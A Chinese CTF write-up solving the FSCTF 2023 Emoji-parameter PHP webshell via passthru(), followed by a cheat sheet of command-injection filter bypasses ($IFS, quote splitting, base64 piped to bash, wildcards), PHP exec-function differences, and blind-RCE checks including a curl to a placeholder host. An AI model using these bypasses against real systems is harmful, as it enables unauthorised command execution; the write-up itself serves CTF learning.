FSCTF 2023 Webshell 是啥捏:Emoji 参数与 passthru 命令执行

复盘 Emoji 参数混淆的 PHP Webshell,并整理 Linux 命令执行中常见的解析差异、关键词过滤与无回显判断方法。

  • #CTF
  • #PHP
  • #RCE
  • #passthru
  • #Linux
  • #命令执行

本文记录授权 CTF 环境中的解题过程。示例中的路径、参数和域名均用于本地靶场分析。

一、题目复盘

题目:[FSCTF 2023] webshell 是啥捏

1. 核心考点

  • PHP 代码审计:识别使用 Emoji 参数名进行混淆的 Webshell。
  • 命令执行:理解 passthru() 调用系统命令并直接输出结果的行为。
  • 过滤判断:区分命令未执行、命令无输出和关键词被题目代码拦截等情况。
  • Shell 解析:利用通配符匹配文件名,避免在输入中直接出现被过滤的完整关键词。

这里观察到的是题目自身的关键词过滤行为。除非能够确认请求经过了独立的 Web 应用防火墙,否则更准确的说法是“应用层过滤”或“关键词黑名单”,而不是笼统称为 WAF。

2. 识别输入参数

源码中使用 Emoji 👽 作为 GET 参数名。先传入一个能够产生可见输出的基础命令,确认参数确实到达命令执行位置:

?👽=ls -la

浏览器或 HTTP 客户端实际发送请求时,会对 Emoji 和空格进行 URL 编码。等价的编码形式为:

?%F0%9F%91%BD=ls%20-la

页面成功返回目录列表,并能看到 index.php,说明参数名、传递路径和回显方式均已确认。

3. 定位目标文件

继续查看根目录:

?👽=ls -la /

回显显示根目录存在 /flag.txt。随后分别测试文件读取命令和完整文件名:

cat /flag.txt
tac /flag.txt

两次都没有得到预期内容。结合前面的正常命令回显,可以继续分别改变命令名和文件名,判断过滤目标。题目表现说明输入中的 cat 和 flag 都可能触发过滤。

4. 构造最终输入

这里做了两处调整:

  1. 使用 tac 作为替代的文件读取命令。
  2. 使用 /fl* 让 Shell 在执行阶段展开文件名,避免输入中直接出现完整的 flag。

便于阅读的形式:

?👽=tac /fl*

URL 编码形式:

?%F0%9F%91%BD=tac%20%2Ffl%2A

通配符是否能唯一匹配目标取决于目录中的实际文件。如果 /fl* 同时匹配多个文件,命令会依次处理这些文件,结果可能与预期不同。

原始记录中的下面这条命令不需要保留:

ls -la / | tac /fl*

管道会把 ls 的输出传给右侧命令的标准输入,但 tac 已经接收了 /fl* 作为文件参数,因此它会读取匹配到的文件,前面的 ls 输出不会参与文件内容读取。直接使用 tac /fl* 更准确。

二、Linux 命令执行中的常见解析差异

命令执行题通常同时经过多个解析层:

  1. HTTP 客户端对 URL 进行编码。
  2. Web 框架解析查询参数。
  3. PHP 将参数传给 passthru()、system() 等函数。
  4. Shell 再处理变量、引号、通配符、重定向和管道。

某种写法能否生效,取决于过滤发生在哪一层。不能只看最终的 Shell 语法,还要确认中间层是否提前解码、删除或拒绝了字符。

1. 空白字符与重定向

当普通空格被过滤时,常见测试形式包括:

cat${IFS}/flag
cat$IFS$9/flag
cat%09/flag
cat</flag
  • ${IFS} 会在 Shell 中展开为字段分隔字符,但具体值可能受运行环境影响。
  • $IFS$9 实际由 $IFS 与位置参数 $9 组成;它依赖 Shell 上下文,不应视为所有环境都稳定可用的固定语法。
  • %09 是 URL 中的 Tab 编码,只有在 Web 层将其解码并传递给 Shell 时才可能充当分隔符。
  • cat</flag 不是把 < 当作空格,而是把文件重定向为命令的标准输入。
  • <> 会以读写方式打开文件,与单纯的输入重定向不同,不适合作为通用替代写法。

2. 关键词的分段与展开

通配符

cat /fl*
cat /fla?
cat /fl[a-z]g
  • * 匹配任意长度的文件名片段。
  • ? 只匹配一个字符。
  • [a-z] 匹配一个范围内的小写字符,其行为还可能受到 Shell 和区域设置影响。

通配符可能匹配零个、一个或多个路径,因此使用前需要先根据目录列表判断匹配范围。

变量拼接

a=c;b=at;$a$b /flag
a=fl;b=ag;cat /$a$b

Shell 会先展开变量,再执行组合后的命令或路径。这类写法只对匹配原始输入、但未检查展开结果的简单过滤有效。

引号与反斜杠

c'a't /fl'a'g
c"a"t /fl"a"g
c\at /fl\ag

Shell 会在词法处理阶段移除这些引号或转义符。它们可能绕过简单的完整字符串匹配,但无法绕过规范化后再检查的过滤逻辑。

编码后再解释

echo 'Y2F0IC9mbGFn' | base64 -d | bash
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')
$'\x63\x61\x74' /flag

这三种写法分别依赖 Base64 解码、命令替换和 ANSI-C 引号。是否可用取决于系统工具、Shell 类型以及过滤位置。

反引号同样属于命令替换语法:

`echo cat` /flag

Shell 会先执行 echo cat,把输出作为当前命令行的一部分,再执行展开后的命令。这里不应把它描述为普通的字符串拼接。

3. 文件内容查看方式

当某个命令名被过滤时,可以在靶场中确认系统是否存在其他只读工具:

tac /flag
head -n 20 /flag
tail -n 20 /flag
nl /flag
sed -n '1,50p' /flag
od -c /flag

不同工具的输出并不完全等价:

  • tac 反转行的顺序。
  • head 和 tail 只显示部分内容。
  • nl 会添加行号。
  • sed 只输出指定范围。
  • od 以字符和数值表示形式输出数据。
  • sort 会重新排序,uniq 只处理相邻重复行,grep . 会遗漏空行,strings 只提取可打印字符串,因此都可能改变或丢失原始内容。
  • more 和 less 主要是交互式分页器,在没有终端的 Web 进程中行为可能不同。

4. PHP 命令执行函数的差异

常见的 PHP 外部进程接口包括:

接口 主要特点
system() 执行命令并输出结果,返回最后一行
passthru() 执行命令并直接输出原始结果,适合非文本输出
exec() 默认不直接输出,可通过参数接收输出数组和状态码
shell_exec()、反引号 将完整输出作为字符串返回
popen() 返回进程管道,需要自行读取或写入
proc_open() 可分别控制标准输入、标准输出和标准错误
pcntl_exec() 用指定程序替换当前 PHP 进程,行为与普通返回式调用不同

ob_start() 只负责缓冲 PHP 输出,本身不执行系统命令。include 和 require 属于文件包含机制,也不应列为 system() 或 passthru() 的直接替代函数。

5. 无回显命令执行

页面没有输出时,可以先用时间差判断命令是否执行:

?cmd=sleep%205

如果响应时间稳定增加约五秒,说明命令可能已经执行,但仍应通过多次对照请求排除网络抖动。

在完全受控的本地靶场中,也可以把无敏感内容的标记发送到专用监听端,验证出站请求路径。示例使用保留域名,不能直接解析:

?cmd=curl%20http%3A%2F%2Flab.example.invalid%2Fprobe

另一种做法是将无害的固定标记写入靶场允许访问的临时位置,再读取该标记:

printf 'rce-check' > /var/www/html/result.txt

这用于确认输出通道,不需要写入可执行脚本。

6. 长度限制与字符集限制

“输入长度受限”和“禁止字母数字”是两类不同问题:

  • 长度限制关注如何缩短已有命令,例如利用较短路径、环境变量或已有文件名。
  • 字符集限制关注允许使用哪些字符,常见题型会结合重定向创建文件、按时间排序文件名,再由通配符展开。

例如 >a 会创建或清空名为 a 的文件;它不是完整利用链。若要说明通过多个短文件名重组命令,必须同时交代文件创建顺序、ls -t 的排序结果、通配符展开顺序和最终解释命令,不能只写“>a、ls -t、* 组合”。

Base64、十六进制与 $_GET 参数拼接只是可能采用的编码或输入组织方式,也不能自动突破长度限制,需要结合题目的具体字符过滤规则分析。

7. Shell 运算符速查

符号 含义
` `
`
&& 左侧命令成功时才执行右侧命令
; 依次执行前后命令,不依赖前一条命令的状态
& 将前一条命令放到后台执行
%0a URL 编码的换行符;能否成为命令分隔符取决于解码和过滤过程

? 与字符集合 [] 也不是完全等价的替代关系:? 固定匹配任意一个字符,而 [] 可以限定该字符的候选范围。

路径通配符必须与目标长度一致。例如 /???/?????? 表示三级目录名加六字符文件名,不能表示三字符的 /bin/cat。即使长度一致,通配符也可能匹配多个路径,因此不能把它当作稳定、唯一的命令路径。

三、复盘要点

  1. 先用低风险、可见输出的命令确认参数名、执行位置和回显通道。
  2. 分别改变命令名与参数,避免把“命令不存在”“路径不匹配”和“关键词被过滤”混为一谈。
  3. 区分 URL 解码、PHP 参数解析与 Shell 展开,明确过滤发生在哪一层。
  4. 使用管道前确认右侧命令是否真的读取标准输入;指定了文件参数的命令可能完全忽略管道内容。
  5. 通配符、引号、变量和编码写法都依赖具体环境,记录时应同时说明前提与输出差异。